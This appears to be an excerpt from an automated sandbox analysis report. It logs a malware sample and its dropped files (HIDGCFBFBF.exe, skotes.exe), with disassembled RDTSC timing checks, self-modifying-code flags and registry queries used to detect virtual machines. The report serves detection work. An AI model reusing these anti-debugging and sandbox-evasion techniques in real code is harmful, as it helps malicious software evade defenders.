Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 27576E second address: 2757C8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 mov dword ptr [ebp+122D1D16h], edx 0x0000000f lea ebx, dword ptr [ebp+1245A4B2h] 0x00000015 push 00000000h 0x00000017 push edi 0x00000018 call 00007F0C0133BF48h 0x0000001d pop edi 0x0000001e mov dword ptr [esp+04h], edi 0x00000022 add dword ptr [esp+04h], 00000014h 0x0000002a inc edi 0x0000002b push edi 0x0000002c ret 0x0000002d pop edi 0x0000002e ret 0x0000002f pushad 0x00000030 mov di, 3DECh 0x00000034 mov edx, dword ptr [ebp+122D1E76h] 0x0000003a popad 0x0000003b push eax 0x0000003c push esi 0x0000003d pushad 0x0000003e jmp 00007F0C0133BF58h 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 2758D7 second address: 2758FB instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0C00BB0B0Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push esi 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F0C00BB0B0Dh 0x00000016 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 275A29 second address: 275A2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 287DC3 second address: 287DC8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 287DC8 second address: 287DEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b jmp 00007F0C0133BF56h 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 287DEA second address: 287DF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 297B20 second address: 297B28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 297B28 second address: 297B2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 297B2E second address: 297B32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 297B32 second address: 297B36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 295AC1 second address: 295AD1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F0C0133BF87h 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 295AD1 second address: 295AEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0C00BB0B17h 0x00000009 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 295AEC second address: 295AF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 295AF0 second address: 295B09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0C00BB0B0Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jng 00007F0C00BB0B06h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 295D6C second address: 295D7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push edi 0x00000006 jbe 00007F0C0133BF46h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 296022 second address: 296028 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 296028 second address: 29602F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 2969FF second address: 296A19 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push edi 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 pop edi 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push edx 0x00000015 pushad 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 296A19 second address: 296A3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0C0133BF58h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 296A3E second address: 296A42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 296B93 second address: 296BB6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F0C0133BF59h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 296BB6 second address: 296BBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 25F4DA second address: 25F4F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C0133BF58h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 296D0F second address: 296D13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 296D13 second address: 296D2B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F0C0133BF52h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 2976CE second address: 2976F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jc 00007F0C00BB0B06h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnl 00007F0C00BB0B08h 0x00000014 push ebx 0x00000015 jmp 00007F0C00BB0B0Ch 0x0000001a pop ebx 0x0000001b rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 2976F2 second address: 2976FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 2976FA second address: 2976FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 2A146C second address: 2A1470 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 2A1470 second address: 2A1484 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007F0C00BB0B06h 0x0000000e ja 00007F0C00BB0B06h 0x00000014 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 2A1484 second address: 2A1488 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 26E425 second address: 26E42D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 26E42D second address: 26E435 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 26E435 second address: 26E43B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 2A4168 second address: 2A4176 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0C0133BF4Ah 0x00000009 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 2A4176 second address: 2A417C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 265EFF second address: 265F19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push edi 0x0000000d pop edi 0x0000000e jmp 00007F0C0133BF4Bh 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 2A7BDB second address: 2A7BDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 2A7BDF second address: 2A7BE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 2A7BE3 second address: 2A7BE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 2A7DB5 second address: 2A7DBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 2A8809 second address: 2A880F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 2A88C7 second address: 2A88CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 2A88CB second address: 2A88F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jg 00007F0C00BB0B18h 0x0000000d xchg eax, ebx 0x0000000e sub dword ptr [ebp+122D2061h], edi 0x00000014 push eax 0x00000015 pushad 0x00000016 push edi 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 2A88F6 second address: 2A8903 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jne 00007F0C0133BF46h 0x0000000d rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 2AAF1B second address: 2AAF1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 2AAF1F second address: 2AAF2E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C0133BF4Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 2AAF2E second address: 2AAF7C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C00BB0B0Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c add si, E060h 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push edi 0x00000016 call 00007F0C00BB0B08h 0x0000001b pop edi 0x0000001c mov dword ptr [esp+04h], edi 0x00000020 add dword ptr [esp+04h], 00000018h 0x00000028 inc edi 0x00000029 push edi 0x0000002a ret 0x0000002b pop edi 0x0000002c ret 0x0000002d and edi, dword ptr [ebp+122D1EF5h] 0x00000033 push 00000000h 0x00000035 xor si, DBBBh 0x0000003a push eax 0x0000003b push eax 0x0000003c push edx 0x0000003d push esi 0x0000003e pushad 0x0000003f popad 0x00000040 pop esi 0x00000041 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 2AB917 second address: 2AB925 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 2AB925 second address: 2AB92A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 2AE6A4 second address: 2AE6AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 2B2CE9 second address: 2B2CF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 2AA71E second address: 2AA722 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 2AA722 second address: 2AA72C instructions: 0x00000000 rdtsc 0x00000002 jg 00007F0C00BB0B06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 2B3D46 second address: 2B3D90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pop ebx 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007F0C0133BF48h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 00000014h 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 jne 00007F0C0133BF46h 0x0000002b push 00000000h 0x0000002d add ebx, dword ptr [ebp+122D20AEh] 0x00000033 push 00000000h 0x00000035 jmp 00007F0C0133BF4Ch 0x0000003a xchg eax, esi 0x0000003b push eax 0x0000003c push edx 0x0000003d push ebx 0x0000003e push ebx 0x0000003f pop ebx 0x00000040 pop ebx 0x00000041 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 2B3D90 second address: 2B3D9A instructions: 0x00000000 rdtsc 0x00000002 jo 00007F0C00BB0B0Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 2B3D9A second address: 2B3DC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 push eax 0x0000000a pop eax 0x0000000b jmp 00007F0C0133BF59h 0x00000010 popad 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 2AC305 second address: 2AC30A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 2AC30A second address: 2AC31B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 je 00007F0C0133BF4Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 2B5E0D second address: 2B5E11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 25A477 second address: 25A495 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0C0133BF55h 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 25A495 second address: 25A4B4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F0C00BB0B15h 0x0000000f rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 2B643A second address: 2B6454 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0C0133BF55h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 2B73BE second address: 2B73C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 2B73C2 second address: 2B740D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 jp 00007F0C0133BF4Ch 0x0000000f push 00000000h 0x00000011 stc 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push ecx 0x00000017 call 00007F0C0133BF48h 0x0000001c pop ecx 0x0000001d mov dword ptr [esp+04h], ecx 0x00000021 add dword ptr [esp+04h], 0000001Dh 0x00000029 inc ecx 0x0000002a push ecx 0x0000002b ret 0x0000002c pop ecx 0x0000002d ret 0x0000002e mov dword ptr [ebp+122D1E70h], ebx 0x00000034 push eax 0x00000035 pushad 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 2B740D second address: 2B741B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jbe 00007F0C00BB0B06h 0x0000000e rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 2B9381 second address: 2B938B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F0C0133BF46h 0x0000000a rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 2B938B second address: 2B93C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b pushad 0x0000000c mov edx, dword ptr [ebp+122D33EDh] 0x00000012 sub ax, EF8Fh 0x00000017 popad 0x00000018 push 00000000h 0x0000001a push esi 0x0000001b mov bh, 8Bh 0x0000001d pop edi 0x0000001e push 00000000h 0x00000020 xor dword ptr [ebp+122D3315h], eax 0x00000026 stc 0x00000027 push eax 0x00000028 ja 00007F0C00BB0B20h 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007F0C00BB0B0Eh 0x00000035 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 2B93C9 second address: 2B93CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 2BA584 second address: 2BA588 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 2BB3E5 second address: 2BB3E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 2BB3E9 second address: 2BB3ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 2BB3ED second address: 2BB40C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F0C0133BF54h 0x00000010 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 2BF490 second address: 2BF4F9 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F0C00BB0B1Dh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F0C00BB0B0Fh 0x00000010 nop 0x00000011 mov bx, CCE6h 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push eax 0x0000001c call 00007F0C00BB0B08h 0x00000021 pop eax 0x00000022 mov dword ptr [esp+04h], eax 0x00000026 add dword ptr [esp+04h], 0000001Bh 0x0000002e inc eax 0x0000002f push eax 0x00000030 ret 0x00000031 pop eax 0x00000032 ret 0x00000033 mov ebx, dword ptr [ebp+122D20B4h] 0x00000039 xchg eax, esi 0x0000003a push esi 0x0000003b push eax 0x0000003c push edx 0x0000003d pushad 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 2BF4F9 second address: 2BF518 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C0133BF50h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b push ebx 0x0000000c jl 00007F0C0133BF4Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 2C05CB second address: 2C05CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 2C05CF second address: 2C05D9 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F0C0133BF46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 2C05D9 second address: 2C05DE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 2C14DB second address: 2C14E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	RDTSC instruction interceptor: First address: 2C14E1 second address: 2C14E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F0D322 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 10D6D09 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F0FA7A instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Special instruction interceptor: First address: EECE2 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Special instruction interceptor: First address: EEDC0 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Special instruction interceptor: First address: 32B671 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 100ECE2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 100EDC0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 124B671 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Documents\HIDGCFBFBF.exe

Code function: 17_2_04FE0BCD rdtsc

17_2_04FE0BCD

